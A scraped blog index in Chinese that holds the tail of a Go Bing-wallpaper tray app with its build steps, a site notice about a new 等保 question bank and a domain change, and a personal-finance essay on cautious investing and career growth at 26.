\u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;暂无数据\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;点击「立即更新」获取今日壁纸故事\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt;`)) return } s := stories[0] mu.Unlock() todayHTML := ` \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;zh-CN\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;` + s.Title + ` - 今日故事\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; :root { --primary-color: #6366f1; --bg-dark: #0f172a; --bg-card: rgba(255,255,255,0.08); --text-primary: #f1f5f9; --text-secondary: #94a3b8; } * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: \u0026#39;PingFang SC\u0026#39;, \u0026#39;Microsoft YaHei\u0026#39;, -apple-system, sans-serif; background: linear-gradient(145deg, var(--bg-dark) 0%, #1e1b4b 100%); min-height: 100vh; padding: 24px; -webkit-font-smoothing: antialiased; } .container { max-width: 700px; margin: 0 auto; } .header { text-align: center; margin-bottom: 32px; } .header h1 { font-size: 1.1rem; font-weight: 500; color: var(--text-secondary); text-transform: uppercase; letter-spacing: 4px; margin-bottom: 16px; } .card { background: var(--bg-card); border-radius: 20px; overflow: hidden; box-shadow: 0 20px 60px rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); backdrop-filter: blur(10px); } .image-wrapper { position: relative; height: 350px; } .image-wrapper img { width: 100%; height: 100%; object-fit: cover; } .image-overlay { position: absolute; bottom: 0; left: 0; right: 0; background: linear-gradient(to top, rgba(0,0,0,0.8), transparent); padding: 40px 30px 20px; } .date-badge { display: inline-block; font-size: 0.85rem; color: var(--text-secondary); background: rgba(99, 102, 241, 0.2); padding: 6px 14px; border-radius: 20px; margin-bottom: 12px; border: 1px solid rgba(99, 102, 241, 0.3); } .title { font-size: 2rem; font-weight: 700; color: var(--text-primary); margin-bottom: 8px; letter-spacing: 0.5px; line-height: 1.2; } .content { padding: 30px; } .desc { font-size: 1.15rem; color: var(--text-secondary); line-height: 1.8; font-weight: 400; } .actions { display: flex; gap: 12px; margin-top: 24px; justify-content: center; } .btn { padding: 12px 32px; border-radius: 30px; font-size: 0.95rem; font-weight: 500; cursor: pointer; transition: all 0.25s; border: none; } .btn-primary { background: linear-gradient(135deg, var(--primary-color) 0%, #8b5cf6 100%); color: white; box-shadow: 0 4px 15px rgba(99, 102, 241, 0.4); } .btn-primary:hover { transform: translateY(-2px); box-shadow: 0 6px 20px rgba(99, 102, 241, 0.5); } .btn-secondary { background: rgba(255,255,255,0.1); color: var(--text-primary); border: 1px solid rgba(255,255,255,0.2); } .btn-secondary:hover { background: rgba(255,255,255,0.15); } .toast { position: fixed; bottom: 30px; left: 50%; transform: translateX(-50%); background: rgba(15, 23, 42, 0.95); color: white; padding: 14px 24px; border-radius: 12px; font-size: 0.95rem; opacity: 0; transition: opacity 0.3s; z-index: 1000; border: 1px solid rgba(255,255,255,0.1); } .toast.show { opacity: 1; } @media (max-width: 600px) { .image-wrapper { height: 250px; } .title { font-size: 1.5rem; } .desc { font-size: 1rem; } .content { padding: 20px; } } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;header\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;Today\u0026#39;s Story\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;card\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;image-wrapper\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;/wallpaper/` + s.File + `\u0026#34; alt=\u0026#34;` + s.Title + `\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;image-overlay\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;date-badge\u0026#34;\u0026gt;` + s.Date + `\u0026lt;/span\u0026gt; \u0026lt;div class=\u0026#34;title\u0026#34;\u0026gt;` + s.Title + `\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;content\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;desc\u0026#34;\u0026gt;` + s.Copyright + `\u0026lt;/p\u0026gt; \u0026lt;div class=\u0026#34;actions\u0026#34;\u0026gt; \u0026lt;button class=\u0026#34;btn btn-primary\u0026#34; onclick=\u0026#34;setWallpaper(\u0026#39;` + s.File + `\u0026#39;, \u0026#39;` + s.Date + `\u0026#39;)\u0026#34;\u0026gt;设为壁纸\u0026lt;/button\u0026gt; \u0026lt;button class=\u0026#34;btn btn-secondary\u0026#34; onclick=\u0026#34;window.location.href=\u0026#39;/story\u0026#39;\u0026#34;\u0026gt;查看历史\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;toast\u0026#34; class=\u0026#34;toast\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; function setWallpaper(file, date) { fetch(\u0026#39;/setwallpaper?file=\u0026#39; + encodeURIComponent(file)) .then(function(r) { showToast(r.ok ? \u0026#39;壁纸已设置: \u0026#39; + date : \u0026#39;设置失败\u0026#39;); }) .catch(function() { showToast(\u0026#39;设置失败\u0026#39;); }); } function showToast(msg) { var t = document.getElementById(\u0026#39;toast\u0026#39;); t.textContent = msg; t.classList.add(\u0026#39;show\u0026#39;); setTimeout(function() { t.classList.remove(\u0026#39;show\u0026#39;); }, 3000); } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt;` w.Write([]byte(todayHTML)) } func storyHandler(w http.ResponseWriter, r *http.Request) { // 每次请求都重新加载数据，确保显示最新内容 loadStoriesFromFile() page := 1 if p := r.URL.Query().Get(\u0026#34;page\u0026#34;); p != \u0026#34;\u0026#34; { fmt.Sscanf(p, \u0026#34;%d\u0026#34;, \u0026amp;page) } mu.Lock() totalPages := 1 if len(stories) \u0026gt; 0 { totalPages = (len(stories) + pageSize - 1) / pageSize } if page \u0026lt; 1 { page = 1 } if page \u0026gt; totalPages { page = totalPages } start := (page - 1) * pageSize end := start + pageSize if end \u0026gt; len(stories) { end = len(stories) } if start \u0026gt; len(stories) { start = len(stories) } mu.Unlock() pageNumbers := []int{} for i := 1; i \u0026lt;= totalPages; i++ { pageNumbers = append(pageNumbers, i) } mu.Lock() data := map[string]interface{}{ \u0026#34;Stories\u0026#34;: stories[start:end], \u0026#34;Total\u0026#34;: len(stories), \u0026#34;CurrentPage\u0026#34;: page, \u0026#34;TotalPages\u0026#34;: totalPages, \u0026#34;HasPrev\u0026#34;: page \u0026gt; 1, \u0026#34;HasNext\u0026#34;: page \u0026lt; totalPages, \u0026#34;PageNumbers\u0026#34;: pageNumbers, } mu.Unlock() w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;text/html; charset=utf-8\u0026#34;) tmpl, err := template.New(\u0026#34;story\u0026#34;).Parse(storyHTMLTemplate) if err != nil { log.Println(\u0026#34;Template error:\u0026#34;, err) http.Error(w, \u0026#34;Template error\u0026#34;, 500) return } tmpl.Execute(w, data) } func setWallpaperHandler(w http.ResponseWriter, r *http.Request) { file := r.URL.Query().Get(\u0026#34;file\u0026#34;) if file == \u0026#34;\u0026#34; { http.Error(w, \u0026#34;missing file parameter\u0026#34;, 400) return } file, _ = url.QueryUnescape(file) // 直接调用 setWall，传递文件名（setWall 内部会拼接完整路径） if err := setWall(file); err != nil { log.Println(\u0026#34;Failed to set wallpaper:\u0026#34;, err) http.Error(w, err.Error(), 500) return } log.Println(\u0026#34;Wallpaper set successfully:\u0026#34;, file) w.WriteHeader(200) } func saveStory(s Story) { mu.Lock() // 去重：如果当天已有记录，更新而非追加 for i, st := range stories { if st.Date == s.Date { stories[i] = s mu.Unlock() saveStoriesToFile() return } } stories = append(stories, s) // 排序 sort.Slice(stories, func(i, j int) bool { return stories[i].Date \u0026gt; stories[j].Date }) mu.Unlock() saveStoriesToFile() } func saveStoriesToFile() { mu.Lock() data, _ := json.MarshalIndent(stories, \u0026#34;\u0026#34;, \u0026#34; \u0026#34;) mu.Unlock() os.WriteFile(filepath.Join(getBase(), storyFile), data, 0644) } func loadStories() { f, err := os.ReadFile(filepath.Join(getBase(), storyFile)) if err == nil { mu.Lock() json.Unmarshal(f, \u0026amp;stories) sort.Slice(stories, func(i, j int) bool { return stories[i].Date \u0026gt; stories[j].Date }) mu.Unlock() } } // 从文件加载故事数据（不执行同步） func loadStoriesFromFile() { f, err := os.ReadFile(filepath.Join(getBase(), storyFile)) if err != nil { return } var newStories []Story if err := json.Unmarshal(f, \u0026amp;newStories); err == nil { mu.Lock() stories = newStories sort.Slice(stories, func(i, j int) bool { return stories[i].Date \u0026gt; stories[j].Date }) mu.Unlock() } } // 同步 stories.json 与 wallpapers 文件夹 func syncStoriesWithWallpapers() { wallpaperPath := getWallpaperPath() // 扫描 wallpapers 文件夹获取所有图片文件 files, err := filepath.Glob(filepath.Join(wallpaperPath, \u0026#34;*.jpg\u0026#34;)) if err != nil { return } // 建立文件名到文件的映射 fileMap := make(map[string]bool) for _, f := range files { fileMap[filepath.Base(f)] = true } mu.Lock() // 清理 stories.json 中不存在对应文件的记录，同时尝试更新已有记录的元数据 validStories := []Story{} for _, s := range stories { if fileMap[s.File] { // 尝试更新已有记录的元数据（如果是\u0026#34;未知标题\u0026#34;或日期在7天内） if s.Title == \u0026#34;未知标题\u0026#34; || s.Copyright == \u0026#34;从壁纸文件导入\u0026#34; { meta, err := fetchHistoricalBing(s.Date) if err == nil \u0026amp;\u0026amp; meta.Title != \u0026#34;\u0026#34; { s.Title = meta.Title s.Copyright = meta.Copyright log.Println(\u0026#34;Updated metadata for:\u0026#34;, s.Date) } } validStories = append(validStories, s) } else { log.Println(\u0026#34;Removed orphaned story:\u0026#34;, s.Date, s.File) } } // 检查 wallpapers 中是否有 stories.json 中没有的文件 for _, f := range files { baseName := filepath.Base(f) found := false for _, s := range stories { if s.File == baseName { found = true break } } if !found { // 尝试从文件名推断日期 date := extractDateFromFilename(baseName) if date != \u0026#34;\u0026#34; { // 尝试从 Bing API 获取详细信息 meta, err := fetchHistoricalBing(date) title := \u0026#34;未知标题\u0026#34; copyright := \u0026#34;从壁纸文件导入\u0026#34; if err == nil \u0026amp;\u0026amp; meta.Title != \u0026#34;\u0026#34; { title = meta.Title copyright = meta.Copyright log.Println(\u0026#34;Fetched metadata for:\u0026#34;, date) } else { log.Println(\u0026#34;Using default metadata for:\u0026#34;, date) } newStory := Story{ Date: date, Title: title, Copyright: copyright, File: baseName, } validStories = append(validStories, newStory) log.Println(\u0026#34;Added missing story:\u0026#34;, date, baseName) } } } // 重新排序并保存 sort.Slice(validStories, func(i, j int) bool { return validStories[i].Date \u0026gt; validStories[j].Date }) stories = validStories mu.Unlock() saveStoriesToFile() } // 从文件名提取日期（格式：20260609.jpg） func extractDateFromFilename(filename string) string { if len(filename) \u0026gt;= 12 \u0026amp;\u0026amp; filename[8] == \u0026#39;.\u0026#39; \u0026amp;\u0026amp; filename[9:] == \u0026#34;jpg\u0026#34; { dateStr := filename[:8] if _, err := time.Parse(\u0026#34;20060102\u0026#34;, dateStr); err == nil { return fmt.Sprintf(\u0026#34;%s-%s-%s\u0026#34;, dateStr[:4], dateStr[4:6], dateStr[6:8]) } } return \u0026#34;\u0026#34; } // 获取历史壁纸信息（最多支持7天前） func fetchHistoricalBing(date string) (StoryMeta, error) { targetDate, err := time.Parse(\u0026#34;2006-01-02\u0026#34;, date) if err != nil { log.Println(\u0026#34;fetchHistoricalBing: invalid date format:\u0026#34;, date) return StoryMeta{}, err } today := time.Now().Truncate(24 * time.Hour) daysDiff := int(today.Sub(targetDate).Hours() / 24) log.Printf(\u0026#34;fetchHistoricalBing: date=%s, today=%s, daysDiff=%d\\n\u0026#34;, date, today.Format(\u0026#34;2006-01-02\u0026#34;), daysDiff) if daysDiff \u0026lt; 0 || daysDiff \u0026gt; 7 { log.Printf(\u0026#34;fetchHistoricalBing: date too old for Bing API, trying archive...\\n\u0026#34;) // 超过7天，尝试从存档服务获取 return fetchFromArchive(date) } api := fmt.Sprintf(\u0026#34;https://www.bing.com/HPImageArchive.aspx?format=js\u0026amp;idx=%d\u0026amp;n=1\u0026amp;mkt=%s\u0026#34;, daysDiff, getMarket()) log.Printf(\u0026#34;fetchHistoricalBing: calling API: %s\\n\u0026#34;, api) resp, err := httpClient.Get(api) if err != nil { log.Println(\u0026#34;fetchHistoricalBing: HTTP request failed:\u0026#34;, err) return StoryMeta{}, err } defer resp.Body.Close() log.Printf(\u0026#34;fetchHistoricalBing: HTTP status code: %d\\n\u0026#34;, resp.StatusCode) var data BingResp if err := json.NewDecoder(resp.Body).Decode(\u0026amp;data); err != nil { log.Println(\u0026#34;fetchHistoricalBing: JSON decode failed:\u0026#34;, err) return StoryMeta{}, err } if len(data.Images) == 0 { log.Println(\u0026#34;fetchHistoricalBing: no images returned, trying archive...\u0026#34;) return fetchFromArchive(date) } img := data.Images[0] log.Printf(\u0026#34;fetchHistoricalBing: success - Title=%s\\n\u0026#34;, img.Title) return StoryMeta{ Title: img.Title, Copyright: img.Copyright, }, nil } // 从存档服务获取历史壁纸信息（支持更早日期） func fetchFromArchive(date string) (StoryMeta, error) { // 尝试多个存档源 archives := []string{ fmt.Sprintf(\u0026#34;https://bing.biturl.top/?d=%s\u0026#34;, date), fmt.Sprintf(\u0026#34;https://bing-wallpaper-archive.herokuapp.com/api/%s\u0026#34;, date), } for _, url := range archives { log.Printf(\u0026#34;fetchFromArchive: trying %s\\n\u0026#34;, url) resp, err := httpClient.Get(url) if err != nil { log.Println(\u0026#34;fetchFromArchive: HTTP request failed:\u0026#34;, err) continue } if resp.StatusCode != 200 { resp.Body.Close() continue } var result map[string]interface{} if err := json.NewDecoder(resp.Body).Decode(\u0026amp;result); err != nil { resp.Body.Close() continue } title, titleOK := result[\u0026#34;title\u0026#34;].(string) copyright, copyrightOK := result[\u0026#34;copyright\u0026#34;].(string) if titleOK \u0026amp;\u0026amp; copyrightOK \u0026amp;\u0026amp; title != \u0026#34;\u0026#34; { resp.Body.Close() log.Printf(\u0026#34;fetchFromArchive: success - Title=%s\\n\u0026#34;, title) return StoryMeta{Title: title, Copyright: copyright}, nil } resp.Body.Close() } log.Println(\u0026#34;fetchFromArchive: all archives failed\u0026#34;) return StoryMeta{}, fmt.Errorf(\u0026#34;no archive data available\u0026#34;) } func showToday() { if len(stories) == 0 { msg(\u0026#34;暂无数据\\n\\n点击「立即更新」获取今日壁纸故事\u0026#34;) return } // 使用Web界面展示今日故事 if !serverRunning { go startStoryServer() serverRunning = true time.Sleep(500 * time.Millisecond) } exec.Command(\u0026#34;cmd\u0026#34;, \u0026#34;/c\u0026#34;, \u0026#34;start\u0026#34;, \u0026#34;http://localhost:8765/today\u0026#34;).Run() } // ========================= // UI // ========================= func msg(text string) { title, _ := syscall.UTF16PtrFromString(\u0026#34;Bing Story V2\u0026#34;) msg, _ := syscall.UTF16PtrFromString(text) user32.NewProc(\u0026#34;MessageBoxW\u0026#34;).Call( 0, uintptr(unsafe.Pointer(msg)), uintptr(unsafe.Pointer(title)), 0, ) } // ========================= // Utils // ========================= func openPath(p string) { exec.Command(\u0026#34;explorer\u0026#34;, p).Start() } func getMarket() string { return \u0026#34;zh-CN\u0026#34; } func getBase() string { exe, _ := os.Executable() return filepath.Dir(exe) } func getWallpaperPath() string { return filepath.Join(getBase(), wallpaperDir) } // ========================= // Config // ========================= func loadConfig() { config = Config{ Market: \u0026#34;zh-CN\u0026#34;, AutoStart: true, } f, err := os.ReadFile(filepath.Join(getBase(), configFile)) if err == nil { json.Unmarshal(f, \u0026amp;config) } } func saveConfig() { data, _ := json.MarshalIndent(config, \u0026#34;\u0026#34;, \u0026#34; \u0026#34;) os.WriteFile(filepath.Join(getBase(), configFile), data, 0644) } // ========================= // Auto Start // ========================= func setAutoStart() { exe, _ := os.Executable() key, _, _ := registry.CreateKey( registry.CURRENT_USER, `Software\\Microsoft\\Windows\\CurrentVersion\\Run`, registry.SET_VALUE, ) defer key.Close() key.SetStringValue(appName, exe) } // ========================= // Logging // ========================= func setupLogging() { f, _ := os.OpenFile(filepath.Join(getBase(), logFile), os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) log.SetOutput(f) } 需要先安装 Go，然后执行：\n1 go run bing_wallpaper_v5_story.go 3. 编译运行 1 2 go build -ldflags \u0026#34;-H windowsgui\u0026#34; -o bing_wallpaper_story.exe bing_wallpaper_v5_story.go ./bing_wallpaper_story.exe 参数说明：\n-H windowsgui：隐藏控制台窗口（Windows GUI 程序） -ldflags \u0026quot;-s -w\u0026quot;：进一步减小可执行文件体积 4. 调试运行（查看日志） 1 2 go build -o bing_wallpaper_debug.exe bing_wallpaper_v5_story.go ./bing_wallpaper_debug.exe 调试版本会显示控制台窗口，方便查看日志输出。\n首次使用：运行后程序会创建 wallpapers 文件夹存放壁纸，并在托盘区显示图标。\nconfig.json 支持的功能 当前 config.json 支持以下配置项：\n字段 类型 默认值 说明 market string \u0026quot;zh-CN\u0026quot; 壁纸市场/地区（当前代码硬编码为 zh-CN） auto_start bool true 开机自启 last_date string \u0026quot;\u0026quot; 上次更新日期（自动记录） 示例 config.json 1 2 3 4 5 { \u0026#34;market\u0026#34;: \u0026#34;zh-CN\u0026#34;, \u0026#34;auto_start\u0026#34;: true, \u0026#34;last_date\u0026#34;: \u0026#34;2026-06-10\u0026#34; } ","permalink":"https://www.clearsec.org/posts/life/%E6%AF%8F%E6%97%A5%E6%96%B0%E9%B2%9C%E6%84%9Fv2/","summary":"\u003ch1 id=\"bing壁纸自动换---你的每日新鲜感\"\u003eBing壁纸自动换 - 你的每日新鲜感\u003c/h1\u003e\n\u003cp\u003eBing 官方的工具 218 MB+，过于臃肿（而且包含一堆广告和毫无用处的AI照片）。\u003cbr\u003e\n这是一款简洁高效的Bing壁纸自动更换工具，让你的桌面每天都有新惊喜！\u003c/p\u003e","title":"每日新鲜感V3"},{"content":"尊敬的用户，受瞬时用户量激增影响，6月9日至6月12日期间，每日下午 14:30-16:30 可能出现服务不可用或响应延迟的情况。为保障您的使用体验，建议您错峰访问。给您带来的不便敬请谅解，感谢您的理解与支持！ 注：本免费题库不设 SLA 保障，如遇短暂波动属正常现象。感谢大家的包容与配合！\n2026-5-18-历史公告：密径更新｜等保题库正式上线 ## 密径更新｜等保题库正式上线 为了帮助大家更系统地开展等保学习、备考与日常知识巩固，密径题库现已正式上线“等保题库”。\n本次更新新增 3086 道等保试题，并已接入现有的 练习、组卷、模拟考试、错题复盘 等完整学习流程。\n登录后，在左侧导航栏选择当前题库为 “等保”，即可开始使用。\n一、本次更新内容 本次等保题库上线后，你可以在导航栏中自由切换：\n密评题库 / 等保题库\n进入等保题库后，可按照以下维度进行刷题：\n按题型练习 按子页练习 按来源考点练习 按薄弱考点回顾 按错题情况复盘 无论是日常学习、考前冲刺，还是针对薄弱知识点进行专项训练，都可以直接在系统中完成。\n二、组卷中心同步支持等保题库 本次更新后，组卷中心也已同步接入等保题库，支持多种组卷方式。\n1. 全等保题库随机组卷 可从全部等保题库中随机抽题，适合日常综合练习。\n2. 全部来源随机组卷 可覆盖多个来源考点，适合检测整体掌握情况。\n3. 等保初级模拟考 题型配置如下：\n单选题：30 题 多选题：25 题 简答题：2 题 适合进行等保初级方向的模拟训练。\n4. 等保中级模拟考 题型配置如下：\n单选题：20 题 多选题：20 题 简答题：4 题 适合进行等保中级方向的模拟训练。\n5. 按来源考点自选组卷 如果你已经发现自己在某些来源或考点上比较薄弱，可以直接按来源考点自选组卷，进行集中训练。\n例如：\n某一类标准条款不熟 某一类管理要求容易混淆 某一类技术要求经常出错 某些来源题目正确率偏低 都可以通过自选组卷进行针对性强化。\n三、错题本与考试结果支持薄弱考点分析 本次更新中，错题本和考试结果也会展示考点薄弱情况。\n你可以更直观地看到：\n哪些题型错得最多 哪些来源考点掌握不牢 哪些知识点需要再次练习 哪些内容适合重新组卷强化 学习不只是刷题，更重要的是知道自己错在哪里。\n通过错题复盘和薄弱考点分析，你可以先定位问题，再回到对应来源考点进行加练，提高复习效率。\n四、如何开始使用 登录网站后，按以下步骤操作：\n进入题库系统 在左侧导航栏选择当前题库为 “等保” 选择练习、组卷、模拟考试或错题本功能 开始刷题与复盘 密评题库仍可正常使用，你可以根据学习需要，在 “密评 / 等保” 两个题库之间自由切换。\n写在最后 等保题库上线后，密径将同时支持 密评学习 与 等保学习 两条题库路线。\n后续也会继续围绕题库质量、考点分类、错题复盘、模拟考试体验等方向进行优化。\n欢迎大家使用、反馈，也欢迎把它分享给正在学习等保和密评的朋友。\n2026-4-26-历史公告：部分网络环境访问异常与域名更新说明 部分网络环境访问异常公告 本站未进行 ICP 备案，无法接入境内加速节点。因此，以下运营商及地区用户访问本站时受运营商解析策略或跨境访问质量影响，可能会出现连接超时、加载缓慢等情况。\n如您遇到访问异常，可尝试更换网络环境，或通过境外链路访问，通常访问速度会更佳。\n运营商 受影响地区 电信 江苏苏州、新疆昌吉、青海海东、陕西延安、江西南昌 移动 海南海口、河南郑州、广东广州、宁夏银川 域名更新公告 为提升网站访问体验与品牌识别度，本站已启用新域名：\n密评子站点： https://clearsec.org/miping 新域名： https://clearsec.org 原域名： https://hugoblog-4l2.pages.dev 原域名目前仍可正常访问，后续将作为备用访问地址保留。建议您优先使用新域名访问本站，并将新域名添加至浏览器收藏夹，方便后续访问。\n如何加入收藏夹 电脑端浏览器 在 Chrome、Edge、Firefox 等浏览器中，点击地址栏右侧的 星标图标，选择保存位置后点击“完成”即可。\n也可以使用快捷键：\nWindows：Ctrl + D macOS：Command + D 感谢您的关注与支持。\n2026-4-26-历史公告：博客首页升级说明 博客首页做了一次小升级。\n这次调整主要是为了让首页更像一个清晰的入口，而不只是一个欢迎页。现在第一屏会展示公告、个人介绍、常用栏目入口，以及最近更新的文章。\n更新内容 首页新增公告横幅，重要信息会放在更醒目的位置。 首页入口增加到技术、阅读、生活、文件中心四个方向。 首页新增最近更新区域，可以更快看到新文章。 视觉样式做了重新整理，并适配了深色模式和移动端。 后续计划 后面如果有站点维护、栏目调整、文件中心更新、子站点变化等信息，也会优先通过公告同步。\n感谢来访，愿你在这里能找到一点有用的东西，也找到一点继续折腾的兴致。\n","permalink":"https://www.clearsec.org/notice/","summary":"密径题库正式上线等保题库，同时本站部分网络环境可能出现访问异常，并已启用 clearsec.org 新域名。","title":"站点公告：密径题库服务可用性受损公告"},{"content":"投资回报最高的，不是任何金融产品\n必须做的三件事：\n1️⃣ 提升职业技能 / 主业收入 2️⃣ 建立副收入可能性（不急着赚钱，先试） 3️⃣ 控制消费升级速度\n📌 很多 30 岁前拉开差距的人，靠的不是投资，而是：\n收入增长 + 稳健投资 = 指数级差距\n一定要避开的坑： ❌ 高频交易 ❌ 听群 / 听老师 ❌ All in 单一资产 ❌ “别人都赚我不能错过” ❌ 把白银、加密、AI 当核心资产\n资产结构参考\n类型 比例 作用 🟢 活期/货币基金（T+0） 20% 安全垫、机会资金（6–9 个月生活费） 🟡 稳健投资（债基/货基-中低风险） 20% 抗波动，年化目标：3%–5% 🔵 成长资产（指数/权益） 40% 长期复利，定投宽基指数（每月） 🟠 高风险尝试（个股、创业、商品） 10% 学习市场、提高认知 ⚪ 保险型资产（黄金、保险等） 10% 系统性风险对冲 📌 重点： 不要 ALL IN 不要追热点 不要觉得“年轻就该冒险”\n「个人投资行为红线清单」。 这张表的目标只有一个：在你最容易犯错的时候，把你拉回来。\n你可以：\n投资前对照一遍 或直接打印 / 存手机 或抄进你自己的 Excel 理财表里 🟥 个人投资行为红线清单 原则：只要触碰任意一条 → 当下这笔投资一律暂停 最好的理财成果不是赚了多少钱，而是： 没被市场教育（一次重仓 → 一次暴跌 → 账户腰斩，追高，以为看懂其实没有研究透） 没被欲望带走（在别人赚钱的时候，你能忍住不追；在别人炫耀的时候，你不自卑。欲望的本质不是贪钱，是怕落后、怕错过、怕自己不够聪明） 没在错误的时间承担过大的风险（你承担风险的时候，是在“有优势”的时候，而不是被推着上车。📌 风险最大的时刻，往往看起来最安全：市场情绪极端乐观、价格远高于历史均值、利好已经被说烂、所有人都觉得“稳了”）\n一、【没被市场教育】红线（防“大亏”） 序号 自检问题 如果答案是“是” 结论 1 这笔钱亏 50% 会明显影响生活吗？ 是 ❌ 禁止投入 2 我是不是因为“最近涨得很好”才想买？ 是 ❌ 高概率追高 3 我是否无法清楚说出最坏结果？ 是 ❌ 风险不明 4 我是否把它当成“翻身机会”？ 是 ❌ 心态已失控 5 我是否第一次接触这类资产？ 是 ⚠ 只能小仓位 📌 底层逻辑：\n能接受小亏，才能避免大亏； 没想清楚“怎么亏”，说明你还没资格赢。\n二、【没被欲望带走】红线（防情绪决策） 序号 自检问题 如果答案是“是” 结论 6 最近是否频繁刷到别人晒收益？ 是 ⚠ 情绪受干扰 7 我是否在想“再不买就错过了”？ 是 ❌ FOMO 8 我是否临时修改了原本的投资计划？ 是 ❌ 规则被打破 9 我是否加大了原本设定的仓位？ 是 ❌ 欲望主导 10 我是否对这笔投资“异常兴奋”？ 是 ❌ 风险最高 📌 底层逻辑：\n越让你兴奋的机会，越不属于你。\n三、【没在错误时间承担过大风险】红线（防“人生级错误”） 序号 自检问题 如果答案是“是” 结论 11 市场是否已经非常乐观、一致看多？ 是 ❌ 风险偏大 12 利好消息是否已经被反复讨论？ 是 ⚠ 已被计价 13 我是否在用“未来几年不用的钱”？ 否 ❌ 禁止投入 14 我是否没有预设退出条件？ 是 ❌ 重大风险 15 这笔风险是否占我总资产 \u0026gt;20%？ 是 ❌ 仓位过重 📌 底层逻辑：\n真正的机会，不会逼你孤注一掷。\n四、【最终决策规则】（非常重要） 在你点“买入”之前，只做一件事：\n✅ 打勾统计 ❌ 红线命中 ≥1 条 → 今天不投 ⚠ 预警命中 ≥2 条 → 减半或只观察 全部未命中 → 可按计划执行 📌 记住：\n错过机会 ≠ 失败 触碰红线 ≈ 自毁长期复利\n五、给你一句“长期保命级”的话 26 岁最重要的投资能力不是判断涨跌， 而是：\n在错误的时候不出手 在诱惑面前不失控 在未来面前留退路 26 岁开始变得富有，真正的路径是什么。 一句话先给你（非常重要）\n26 岁开始变富，靠的不是投资，而是： 在正确的赛道，用时间换能力，用能力换杠杆。\n绝大多数人理解反了顺序。\n一、先打破三个“致穷幻觉” ❌ 幻觉 1：靠理财变富 理财只能 放大你已经有的东西 没本金、没现金流 → 理财几乎没用 📌 真相：\n收入层级，决定了你能走多远\n❌ 幻觉 2：靠一次机会翻身 牛市、AI、币圈、白银、个股 这些只能让你快一点，但不能让你稳定地上去 📌 真相：\n所有“翻身叙事”，幸存者偏差极重\n❌ 幻觉 3：努力就能变富 努力 ≠ 有价值 忙 ≠ 值钱 📌 真相：\n值钱的是：可复制、可放大的能力\n二、26 岁变富的真实路线图（很少人告诉你） 我用一句话概括：\n先让自己“值钱”，再让钱“会生钱”\n三、阶段 1（26–30 岁）：把自己做成“资产” 这 4 件事，比投资重要 10 倍 1️⃣ 选择一个长期有需求的领域 不是风口，是长期需求：\n软件 / 数据 / AI 应用 医疗 / 医疗设备 / 医药 能源 / 电力 / 工业自动化 金融 / 风控 / 合规 高端制造 / 工程 📌 问自己一句话：\n10 年后，这个世界还需不需要我现在做的事？\n2️⃣ 成为“稀缺的那 20%” 你不需要天赋，你需要：\n比同龄人多学 1–2 年 在一个细分领域深挖 能把复杂的东西讲清楚 📌 稀缺 = 议价权\n3️⃣ 把能力变成“可出售的东西” 财富不是工资，是可交易价值：\n技术 → 项目 / 外包 / 咨询 经验 → 内容 / 课程 / 顾问 资源 → 对接 / 促成 📌 你要能回答：\n我能解决什么问题，值多少钱？\n4️⃣ 提前搭建“杠杆” 杠杆不等于负债：\n技术杠杆 内容杠杆 资本杠杆（很晚） 组织杠杆 📌 打工是 0 杠杆模型\n四、阶段 2（30–35 岁）：从“赚钱”到“放大” 这时你应该有：\n稳定现金流 可迁移能力 第一桶金（不是暴富） 你才开始：\n投资公司 做股权 投资资产 创业或合伙 📌 很多人 26 岁就想跳到这一阶段 → 失败率极高\n五、理财在整个过程中的真实角色 我用一句很扎心的话：\n理财的作用是：让你不掉队，而不是带你超车\n你要的不是暴击收益，而是：\n不被通胀吃掉 不被一次错误清零 不被情绪拖累主业 六、26 岁可以立刻执行的 6 件事 ✅ 1. 记录你的“可变现能力清单” 会什么 能解决什么 市场愿意付多少钱 ✅ 2. 每年至少让主业收入上涨 20% 跳槽 升级技能 换赛道 ✅ 3. 固定储蓄率 ≥30% 不靠省 靠收入增长 ✅ 4. 投资只做“低错误率”的事 指数 定投 低频 ✅ 5. 副业不是马上赚钱，是搭“第二条命” 内容 技术 咨询 项目 ✅ 6. 控制消费升级 不因为收入涨就立刻换生活方式 七、最后给你一句“清醒但不鸡汤”的话 真正的富有不是你 26 岁赚多少钱， 而是你 36 